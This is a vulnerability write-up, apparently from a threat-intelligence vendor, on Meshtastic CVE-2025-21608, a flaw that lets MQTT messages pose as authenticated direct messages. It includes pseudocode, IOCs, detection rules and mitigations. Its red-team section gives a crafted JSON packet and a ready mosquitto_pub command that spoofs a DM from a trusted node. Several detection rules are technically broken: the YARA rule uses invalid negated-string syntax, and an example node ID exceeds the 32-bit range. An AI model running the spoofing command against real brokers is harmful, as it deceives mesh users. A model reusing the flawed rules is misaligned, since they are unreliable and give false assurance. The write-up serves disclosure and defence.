CVE-2025-21608

Executive Summary

CVE-2025-21608 is a critical security vulnerability in Meshtastic, an open-source mesh networking solution. The flaw allows an attacker to inject crafted packets over MQTT that appear as a direct message (DM) in a client node, even though the packets were not properly decoded with Public Key Cryptography (PKC). This effectively bypasses the authentication and integrity guarantees provided by PKC, enabling an unauthenticated attacker to spoof messages from any trusted node.

The vulnerability stems from insufficient verification of data authenticity on MQTT messages. The Meshtastic MQTT bridge does not enforce that incoming messages have been cryptographically signed by a known and trusted node before presenting them as DMs to the client. This allows an attacker with access to the MQTT broker (or who can publish to the relevant topic) to inject arbitrary messages that the receiving client will treat as legitimate.

Supply Chain & Package Security

Meshtastic is distributed as firmware for ESP32, nRF52, and other microcontrollers, as well as a Python library (meshtastic) and a mobile/desktop application. The vulnerability exists in the firmware's MQTT handling code. Users should verify the integrity of firmware downloads from the official Meshtastic GitHub releases page and ensure they are upgrading to version 2.5.19 or later. The Python library and mobile/desktop apps may also be affected if they process MQTT messages without proper PKC validation.

CVSS Breakdown & Threat Level

While a CVSS score is not officially assigned, the vulnerability can be assessed as follows:

• Attack Vector (AV): Network (N) – The attacker can send crafted MQTT packets over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs access to the MQTT broker.
• Privileges Required (PR): None (N) – No authentication is needed to send the malicious MQTT message.
• User Interaction (UI): None (N) – The victim does not need to perform any action.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data is disclosed.
• Integrity (I): High (H) – An attacker can inject arbitrary messages, compromising the integrity of communications.
• Availability (A): None (N) – No denial of service.

Estimated CVSS v3.1 Score: 7.5 (High) – Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Threat Level: High. The vulnerability is easy to exploit and can be used to inject false messages, potentially leading to social engineering, misinformation, or command injection if the client processes message content unsafely.

Deep Dive & Mechanics

Meshtastic uses a mesh network where nodes communicate via LoRa radio. To extend reach, nodes can connect to an MQTT broker, allowing messages to be relayed over the internet. The MQTT bridge is designed to forward encrypted and signed packets between the mesh and the MQTT network.

The vulnerability lies in the MQTT message processing logic. When a node receives a packet from MQTT, it should verify that the packet was signed by a trusted node using PKC. However, due to a flaw in the firmware, the node does not properly enforce this verification for direct messages (DMs). An attacker can craft a raw MQTT message that mimics the structure of a valid DM but lacks a valid cryptographic signature. The receiving node will accept this message and display it as a DM from the spoofed sender.

The attack flow:

1. Attacker gains access to the MQTT broker (e.g., by connecting to a public broker or compromising credentials).
2. Attacker publishes a crafted MQTT message to the topic that the victim node subscribes to (e.g., msh/US/2/json/).
3. The crafted message contains a payload that appears to be a DM from a trusted node (e.g., "nodeA").
4. The victim node receives the message, fails to verify the PKC signature, and displays the DM to the user.
5. The user sees a message that appears to come from a trusted source, potentially leading to action based on false information.

Vulnerable vs. Patched Code

The vulnerable code is in the MQTT message handling routine. The following pseudocode illustrates the flaw:

Vulnerable (pre-2.5.19):

void handleMQTTMessage(const char* topic, const uint8_t* payload, size_t len) {
    // Parse the MQTT message
    MeshPacket packet = parsePacket(payload, len);
    
    // Check if it's a direct message
    if (packet.decoded.portnum == PortNum_TEXT_MESSAGE_APP) {
        // Direct message - display it immediately
        // BUG: No PKC verification is performed
        displayMessage(packet);
    }
}

Patched (2.5.19+):

void handleMQTTMessage(const char* topic, const uint8_t* payload, size_t len) {
    // Parse the MQTT message
    MeshPacket packet = parsePacket(payload, len);
    
    // Check if it's a direct message
    if (packet.decoded.portnum == PortNum_TEXT_MESSAGE_APP) {
        // Verify PKC signature before displaying
        if (verifyPKCSignature(packet)) {
            displayMessage(packet);
        } else {
            logWarning("Received unauthenticated DM via MQTT, ignoring");
        }
    }
}

The key difference is the addition of verifyPKCSignature() before displaying the message. The patched code ensures that only messages with a valid cryptographic signature from a trusted node are displayed as DMs.

Exploitation & Lab Setup

Red Team

Objective: Spoof a direct message from a trusted node to a victim node via MQTT.

Prerequisites:

• Access to the MQTT broker that the victim node is connected to.
• Knowledge of the victim node's MQTT topic structure (e.g., msh/US/2/json/).
• A tool to publish MQTT messages (e.g., mosquitto_pub).

Steps:

1. Identify the victim's MQTT topic. The default topic is msh/<region>/<channel>/json/. For example, msh/US/2/json/.

2. Craft a malicious MQTT message. The message must be a valid Meshtastic packet with a spoofed sender. The packet structure is:

   {
     "from": 1234567890, // Spoofed node ID
     "to": 9876543210,   // Victim node ID
     "type": "decoded",
     "decoded": {
       "portnum": 1, // PortNum_TEXT_MESSAGE_APP
       "payload": "SGVsbG8gZnJvbSB0cnVzdGVkIG5vZGU=" // Base64-encoded message
     }
   }
   

3. Publish the message to the MQTT broker:

   mosquitto_pub -h <broker_ip> -t "msh/US/2/json/" -m '{"from":1234567890,"to":9876543210,"type":"decoded","decoded":{"portnum":1,"payload":"SGVsbG8gZnJvbSB0cnVzdGVkIG5vZGU="}}'
   

4. Observe the victim node. The victim will display the message as a DM from the spoofed node.

Note: This exploit does not require any authentication or cryptographic keys. It works because the MQTT bridge does not validate the PKC signature for DMs.

Blue Team

Detection:

• Monitor MQTT traffic for messages that lack a valid PKC signature. This can be done by inspecting the packet's rx_time or rx_snr fields, which are typically set by the receiving node, not the sender.
• Look for MQTT messages with "type": "decoded" that do not have a corresponding "encrypted" field or a valid "rx_time" that matches the expected format.

Mitigation:

• Upgrade all Meshtastic nodes to version 2.5.19 or later.
• If upgrading is not immediately possible, disable the MQTT bridge or restrict access to the MQTT broker using authentication and authorization.
• Implement network segmentation to limit MQTT broker access to trusted nodes only.

Hunting:

• Search MQTT broker logs for messages published by unknown or unauthorized clients.
• Use a packet analyzer (e.g., Wireshark) to capture MQTT traffic and look for anomalies in the packet structure.

Indicators of Compromise (IOCs)

• Network IOCs:

  • MQTT messages with "type": "decoded" but missing "rx_time" or "rx_snr" fields.
  • MQTT messages where the "from" field does not match any known node in the mesh.
  • MQTT messages with a "payload" that decodes to unexpected or malicious content.

• Host IOCs:

  • Meshtastic node logs showing messages received via MQTT without a valid PKC signature.
  • Unexpected direct messages appearing on a node that were not sent by a known trusted node.

• File IOCs:

  • Firmware versions prior to 2.5.19 (check git describe or the firmware version string).

Detection Engineering

YARA Rule

rule CVE_2025_21608_Meshtastic_MQTT_Spoofing {
    meta:
        description = "Detects Meshtastic MQTT messages that may be exploiting CVE-2025-21608"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-21608"
        hash = "unknown"
    strings:
        $mqtt_topic = /msh\/[A-Z]{2}\/\d+\/json\//
        $decoded_type = /"type"\s*:\s*"decoded"/
        $portnum_dm = /"portnum"\s*:\s*1/
        $no_rx_time = !/rx_time/
    condition:
        $mqtt_topic and $decoded_type and $portnum_dm and $no_rx_time
}

Sigma Rule

title: CVE-2025-21608 - Meshtastic MQTT DM Spoofing
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects MQTT messages that may be exploiting CVE-2025-21608 to spoof direct messages in Meshtastic.
author: Valters IT
date: 2025-01-01
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21608
logsource:
    category: network
    product: mqtt
detection:
    selection:
        topic|startswith: 'msh/'
        payload|contains: '"type":"decoded"'
        payload|contains: '"portnum":1'
    filter:
        payload|contains: '"rx_time"'
    condition: selection and not filter
falsepositives:
    - Legitimate MQTT messages from nodes that do not set rx_time (unlikely)
level: high

Suricata Rule

alert tcp any any -> any 1883 (msg:"CVE-2025-21608 - Meshtastic MQTT DM Spoofing Attempt"; flow:to_server,established; content:"msh/"; depth:4; content:"\"type\":\"decoded\""; content:"\"portnum\":1"; pcre:!/\"rx_time\"/; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade all Meshtastic nodes to version 2.5.19 or later. This is the only complete fix.
2. If upgrading is not possible, disable the MQTT bridge on all nodes until the upgrade can be performed.
3. Restrict MQTT broker access to only trusted nodes using authentication (username/password) and authorization (ACLs).

Long-Term Mitigations:

1. Implement network segmentation to isolate the MQTT broker from untrusted networks.
2. Monitor MQTT traffic for anomalies using the detection rules provided.
3. Enable logging on the MQTT broker to capture all publish events for forensic analysis.
4. Consider using TLS for MQTT connections to prevent eavesdropping and tampering.

Vendor Communication:

• The Meshtastic project has released a patch in version 2.5.19. Users should follow the official upgrade guide at https://meshtastic.org/docs/software/upgrade.

Valters IT
DevSecOps & Cyber Threat Intelligence